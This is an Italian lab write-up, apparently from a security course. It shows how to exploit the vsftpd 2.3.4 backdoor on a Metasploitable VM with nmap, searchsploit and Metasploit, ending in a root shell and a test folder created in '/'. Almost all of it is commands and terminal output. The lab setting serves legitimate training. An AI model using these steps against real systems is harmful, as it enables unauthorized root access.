

HACKING CON METASPLOIT

Task:

1. Configurazione dell'indirizzo di rete di Metasploitable
 2. Hacking del servizio FTP di Metasploitable
 3. Creazione di una cartella di test nella directory di root ("/") di Metasploitable
-

1. Configurazione dell'indirizzo di rete di Metasploitable

Per il test odierno, assegneremo l'indirizzo di rete **192.168.1.149/24** alla macchina Metasploitable:

```
GNU nano 2.0.7      File: /etc/network/interfaces      Modified
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
```

Cambiamo dunque anche l'indirizzo IP di Kali, di modo che le due macchine risultino sulla stessa rete interna:

```
GNU nano 6.4      /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.1.100/24
gateway 192.168.1.1
```

Verifichiamo con un ping l'effettiva comunicazione tra le due macchine:

```
(kali@kali)-[~]
$ ping 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data:
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=0.996 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=1.32 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=0.897 ms
^C
— 192.168.1.149 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2010ms
rtt min/avg/max/mdev = 0.897/1.072/1.324/0.182 ms
```

2. Hacking del servizio FTP di Metasploitable

Per prima cosa, ci serviremo di nmap per effettuare una **Aggressive scan** della porta di ascolto del servizio ftp, ossia la numero 21. In questo modo recupereremo informazioni importanti sul servizio, oltre alla versione esatta dello stesso:

```
(kali@kali)-[~]
$ nmap 192.168.1.149 -p 21 -A
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-06 04:18 CET
Nmap scan report for 192.168.1.149
Host is up (0.0060s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to 192.168.1.100
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_vsFTPD 2.3.4 - secure, fast, stable
|_End of status
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.08 seconds
```

Adesso facciamo una ricerca preliminare interna a Kali delle vulnerabilità del servizio di nostro interesse eseguendo il comando **searchsploit vsftpd 2.3.4**, che ci segnala la suscettibilità della versione 2.3.4 del servizio ftp a due backdoor, di cui una eseguibile direttamente dal framework Metasploit:

```
(kali@kali)-[~]
$ searchsploit vsftpd 2.3.4
```

Exploit Title	Path
vsftpd 2.3.4 - Backdoor Command Execution	unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)	unix/remote/17491.rb

Shellcodes: No Results

Una volta ottenute le informazioni necessarie, passiamo all'attacco. Avviamo la console di Metasploit eseguendo il comando **msfconsole** da terminale su Kali ed Eseguiamo il comando **search vsftpd 2.3.4**

```
msf6 > search vsftpd 2.3.4

Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check  Description
--  -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 >
```

Come si nota, la ricerca evidenzia la presenza di un unico exploit. Lo andiamo ad utilizzare eseguendo il comando “use” + il path dell’exploit in questione:

use exploit/unix/ftp/vsftpd_234_backdoor

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Adesso, tramite il comando **show options** andiamo a vedere quali sono i parametri da configurare per l’exploit scelto. Come si nota, la porta target (“RPORT”) è già impostata sulla numero 21, mentre resta da configurare l’indirizzo IP target (“RHOSTS”). Configuriamo quindi questo parametro con l’indirizzo IP di Metasploitable, tramite il comando **set RHOSTS 192.168.1.149**

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
=====
Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.1.149    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     21               yes       The target port (TCP)

Payload options (cmd/unix/interact):
=====
Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.1.149    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     21               yes       The target port (TCP)

Exploit target:
=====
Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Ripetiamo il comando **show options**: adesso il parametro RHOSTS è correttamente configurato secondo le nostre indicazioni.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.1.149   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     21              yes       The target port (TCP)

Payload options (cmd/unix/interact):
  Name      Current Setting  Required  Description
  --      -
  PAYLOAD   cmd/unix/interact

Exploit target:
  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Adesso è il momento di scegliere un payload per il nostro exploit: vediamo una lista di quelli disponibili con il comando **show payloads**

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
Compatible Payloads
  Name      Disclosure Date  Rank  Check  Description
  --      -
  0   payload/cmd/unix/interact   normal  No     Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Come si vede, è disponibile un solo payload. Scegliamolo quindi eseguendo il comando **set payload payload/cmd/unix/interact** e ripetiamo il comando **show options** per controllare se sia necessario configurare dei parametri per il payload corrente:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload payload/cmd/unix/interact
payload => cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.1.149   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     21              yes       The target port (TCP)

Payload options (cmd/unix/interact):
  Name      Current Setting  Required  Description
  --      -
  PAYLOAD   cmd/unix/interact

Exploit target:
  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Come si può notare, non è necessario impostare alcun parametro, quindi possiamo subito partire con l'exploit. Eseguiamo il comando **exploit**

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:45673 → 192.168.1.149:6200) at 2022-12-06 05:38:41 +0100
```

Il nostro exploit ha esito positivo: la backdoor è stata creata con successo e abbiamo ottenuto una sessione. Adesso verifichiamo l'effettivo ottenimento della shell sul sistema remoto eseguendo alcuni comandi di verifica:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:45673 → 192.168.1.149:6200) at 2022-12-06 05:38:41 +0100

whoami
root
id
uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:46:92:30 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fe46:9230/64 scope link
        valid_lft forever preferred_lft forever
```

Come si vede, i comandi eseguiti (**whoami**, **id**, **uname -a** e **ip a**) ci danno contezza dell'ottenimento della shell e, dunque, della buona riuscita dell'exploit: l'utente corrente è **root**, la macchina è Metasploitable e l'indirizzo IP è quello che abbiamo precedentemente configurato per la suddetta macchina.

3. Creazione di una cartella di test nella directory di root ("/") di Metasploitable

Adesso, prima di tutto verifichiamo il percorso in cui ci troviamo all'interno dell'host remoto con il comando **pwd**: siamo già nella directory di root ("/"), ossia nel percorso in cui abbiamo intenzione

di creare la cartella di test; non serve dunque spostarci. Procediamo dunque alla creazione della suddetta cartella, che chiameremo “test_metasploit”, attraverso il comando **mkdir test_metasploit** e verifichiamo l’effettiva creazione della suddetta tramite il comando **ls**

```
pwd
/  
mkdir test_metasploit  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
test_metasploit  
tmp  
usr  
var  
vmlinuz
```

La cartella è stata creata correttamente nella directory di root di Metasploitable.